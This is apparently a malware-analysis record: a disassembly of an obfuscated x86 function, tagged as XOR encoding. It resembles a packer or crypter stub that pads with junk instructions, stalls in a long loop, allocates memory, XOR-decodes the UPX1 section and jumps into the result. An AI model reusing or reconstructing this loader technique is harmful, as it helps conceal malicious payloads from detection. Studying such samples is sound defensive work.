Function at 0x47afb8
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x350f0e5
add ecx, 0x96c9fb24
dec edx
popal
sub ecx, edx
add edx, 0xc2bd241d
inc ecx
mov edi, 0
mov ebx, eax
not esi
and esi, edx
mov ecx, ebx
sub esi, edx
and edx, esi
mov esi, 0x49fe8de4
mov eax, ecx
inc esi
mov edx, 0xddd3c18e
add edi, 1
and edx, edx
mov edx, 0x612c7a97
add edx, 1
cmp edi, 0x100549e
jne 0x47afd4
and esi, edx
add esi, 0x4c21b0f0
and edx, edx
cmp edi, 0x100549e
je 0x47b025
mov edx, 0
mov eax, dword [edx]
and esi, edx
add esi, 0xf8bec40f
add edx, 1
sub ecx, 0x8b76b4b
mov ecx, 0xb3a68819
mov esi, 0x47ada2
add edi, 0xc2d976de
not ebx
mov eax, 0x47af96
and edx, edx
not edi
mov ecx, dword [esi]
sub ebx, 1
or edx, ebx
and ecx, 0xff
add edi, edi
inc edx
xor dword [eax], ecx
dec edi
and ebx, edi
or edi, edi
inc eax
dec ebx
or edi, edi
sub edx, 0xb6e7f9b4
inc esi
dec edi
sub edi, edx
or ebx, edi
cmp eax, entry0
jl 0x47b054
add ebx, ebx
mov ebx, edx
sub edx, edi
sub edi, ebx
add edi, edi
not edx
mov edi, edx
add edx, 0xbc1e9096
and ecx, ecx
mov ebx, 0x47af9a
sub esi, 0xf32e99f
mov esi, 0xd90eb45c
mov edx, 0xb63855e6
mov ebx, dword [ebx]
not ecx
or edi, esi
mov ebx, dword [ebx]
sub esi, 1
mov edi, 0x32974b38
sub esp, 4
mov dword [esp], ebx
not ecx
or edx, esi
mov ebx, 0x47af96
dec ecx
dec edx
mov ebx, dword [ebx]
mov edi, 0xa63b9640
mov esi, 0x2d63acf
add edx, 0x549d0d09
mov ebx, dword [ebx]
add esi, 0x3839f461
and edi, ecx
sub edi, 0xe2bc759f
push 0x47af9e
sub esi, 0xb4556c39
not edx
call ebx
sub ecx, 0xb75915f7
and esi, edi
mov ebx, dword [esp]
add esp, 4
and esi, ecx
add ecx, 1
or esi, esi
push 0x47afab
sub edx, ecx
add edi, esi
push eax
inc edi
or edi, edx
not edx
call ebx
not esi
not ecx
push 0x40
mov edx, esi
sub ecx, esi
push 0x3000
and edi, esi
inc esi
push 0x20000dd3
sub edx, 0xf4f8cd72
not edx
push 0
sub esi, edx
add ecx, edi
dec esi
call eax
and esi, edi
mov edx, edi
add eax, 0x20000d5c
add edx, esi
add edx, edi
mov ebx, 0x6ddce7fc
dec edi
add esi, esi
mov esi, 0x826f5a8c
mov dword [eax], ebx
and edx, ecx
inc ecx
mov ebx, dword [eax]
sub esi, edx
mov edx, 0x98b2b52f
cmp ebx, 0x6ddce7fc
je 0x47b199
mov ecx, 0
mov ebx, dword [ecx]
add ecx, ecx
add esi, 0x410a4d6f
add esi, 0x40189b9b
dec edx
mov ecx, edx
add ecx, edx
mov edi, section.UPX1
add edx, 1
or ecx, ecx
mov eax, 0x47ada1
add ecx, ecx
sub ecx, 0x41f1c70c
and edx, edx
mov esi, 0
add edx, edx
and ecx, edx
mov ebx, 0x47ada2
dec ecx
not edx
add ecx, 1
lea ebx, [ebx + esi]
inc ecx
sub edx, 0x1d43c249
mov ebx, dword [ebx]
mov ecx, edx
mov ecx, edx
and ebx, 0xff
inc edx
or edx, ecx
inc esi
or edx, ecx
inc ecx
cmp esi, 0x1f4
jne 0x47b209
mov esi, 0
sub edx, ecx
and edx, edx
mov edx, 0x90a760f7
sub edx, 1
add edx, ecx
add ecx, 0x53b4d8ba
xor dword [edi], ebx
add edx, 1
mov ecx, edx
add edi, 2
and edx, ecx
inc edx
add ecx, 0x8886db04
cmp edi, eax
jl 0x47b1d1
mov ecx, 0x51970e08
or ecx, ecx
sub ecx, edx
add ecx, 0x5447c06f
add edx, 1
mov esi, section.UPX1
mov edx, eax
mov edx, eax
dec eax
mov edi, section.UPX1
sub eax, edx
sub eax, 0x6932625c
mov ebx, 0x47ada1
mov eax, 0x897d52b4
inc edx
and eax, eax
mov ecx, 0
add edx, 0x3cb0d27a
sub edx, 0xf4e13a4e
mov cl, byte [edi]
inc eax
sub eax, 0xd287309b
sub eax, edx
mov byte [esi], cl
mov eax, 0xb8441616
sub edx, 0xcf03e87
mov edx, eax
add esi, 1
mov eax, edx
or edx, eax
add edi, 2
add edx, edx
or eax, edx
cmp edi, ebx
jle 0x47b28b
sub edx, 1
add edx, 0x924b29d1
or edx, ecx
mov ecx, edx
push 0x45e6a0
sub edx, 0xf16b8100
mov ecx, edx
ret